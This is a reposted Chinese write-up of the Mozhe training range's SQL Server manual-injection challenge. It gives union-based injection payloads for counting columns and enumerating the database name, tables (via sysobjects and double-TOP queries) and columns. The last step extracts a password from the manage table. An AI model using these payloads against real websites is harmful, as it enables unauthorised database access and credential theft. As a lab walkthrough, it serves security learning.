IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 墨者-SQL手工注入漏洞测试(Sql Server数据库) 题解 -> 正文阅读

[大数据]墨者-SQL手工注入漏洞测试(Sql Server数据库) 题解

靶场地址:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

①老样子url:http://219.153.49.228:49515/new_list.asp?id=2

判断id存在数字型注入

②判断当前字段数

id=2 order by 4 正常
id=2 order by 5 报错
字段数为4

③联合查询当前数据库

先用mysql的语法试一试

第一个坑:
id = 2 union select 1,2,3,4 报错
百度之后发现unionunion all的区别

union 会将查询结果去除重复项
union all则是单纯拼接
其实这一点在mysql中也一样

第二个坑:
id = 2 union all select 1,2,3,4 还是报错
看了别人的题解发现都是用id=2 and 1=2这个页面来回显,想了一下发现被误导了,其实只要id不是2就行

第三个坑:
id =3 union select 1,2,3,4 还是报错
查了之后发现sqlserver 和MySQL union语法的区别
除了字段数要匹配之外,字段类型也要匹配
比较神奇的一点:

字符型只能匹配字符型
数字型可以匹配字符型和数字型

例如users表有三个字段:user(char)、passwd(char)、ID(int)
在这里插入图片描述
新建查询1

select * from test.dbo.users where ID=1 union all select 1,2,3

在这里插入图片描述
报错说明char无法匹配int

新建查询2

select * from test.dbo.users where ID=1 union all select '1','2',3

在这里插入图片描述
结果正常

新建查询3

select * from test.dbo.users where ID=1 union all select '1','2','3'

在这里插入图片描述
结果正常,说明int可以匹配char

所以对id=3 union all select 1,2,3,4进行排列组合尝试
最后发现3是字符型
所以id=3 union all select 1,2,‘3’,4 成功回显,改成’2’,'3’也一样
在这里插入图片描述
回到正题,利用回显查询当前表

id=3 union all select 1,2,db_name(),4
获得当前数据库名mozhe_db_v2

④获取当前库中表名

第四个坑
回显点只能输出一条数据
id=3 union all select 1,2,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),4

  1. top x函数代表前x列值。
  2. 为啥不用concat?因为concat函数直到sql server2012才有,因为限制输出一条数据,sql server2005也没有类似limit的函数,所以低版本sql server如果要查询某一条数据会比较麻烦。
  3. xxx…sysobjects表中存储了xxx库的敏感信息,类似mysql中的information_schema.tables,也可以写成xxx…sysobjects表示跨库调用表
  4. name字段,即库中表名
  5. xtype='U’指用户建立,xtype='S’指系统建立

像这种只允许一条数据输出的情况

方法一:类似id的唯一标识
例如查询所有库名
select name from master..sysdatabases where dbid = xxx
在这里插入图片描述
有唯一标识字段dbid则可以利用爆破的方法

方法二:双TOP查询
例如:
test库的users表中有ID字段,可以利用双top查询语句查出任意一条数据

select top 1 ID from (select top 10 ID from test..users order by ID) as a order by ID desc

里面的查询语句select top 10 ID from test..users order by ID指以ID字段正序排列查询top 10的数据
外面的select top 1 ID from (。。。) as a order by ID desc指以ID字段倒序排列查询top 1的数据
这样查出来的话就是第10条数据,不断增加’10’这个参数即可查出所有数据。

回归靶场,要查询出库mozhe_db_v2的所有表,也可以用双top查询

id=3 union all select 1,2,(select top 1 name from (select top x name from mozhe_db_v2..sysobjects where xtype='U' order by name) as a order by name desc),4
只要改变x的值就可以查出所有数据

得到表名有两个manage、announcement

⑤获取表中字段

方法一:col_name()和object()

col_name(id,x)函数可以得到id对应数据表字段序列的某一个
参数id指数据表的唯一id
参数x指序列下标,也就是第几个

object(‘x’)函数可以获取数据表的唯一id,仅对用户创建的数据表适用
参数x指数据表

组合一下,即col_name(object('xxx'),x),从xxx表中获取第x个字段名
靶场中即
id=3 union all select 1,2,(select col_name(object_id('manage'),x)),4
修改x的值即可得到全部字段名

方法二:双top查询
sql sever有一个syscolumns表存储了所有字段信息,类似mysql中的information_schema.columns

select name from syscolumns where id=object_id('表名')
问题在这个靶场只能回显一条数据,跟上文一样可以利用双top查询任意一条数据

最后获得字段名id,username,password

⑥获取数据

id=3 union all select 1,(select password from manage where username=(select username from manage) ),'3',4

总结一下

①大致的过程和msyql联合查询基本一致
查库——查表——查字段——查数据

②sql server<2012限制一条数据输出可以用双top查询,高版本直接用cancat()

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-14 16:00:53  更:2021-12-14 16:03:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:52:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码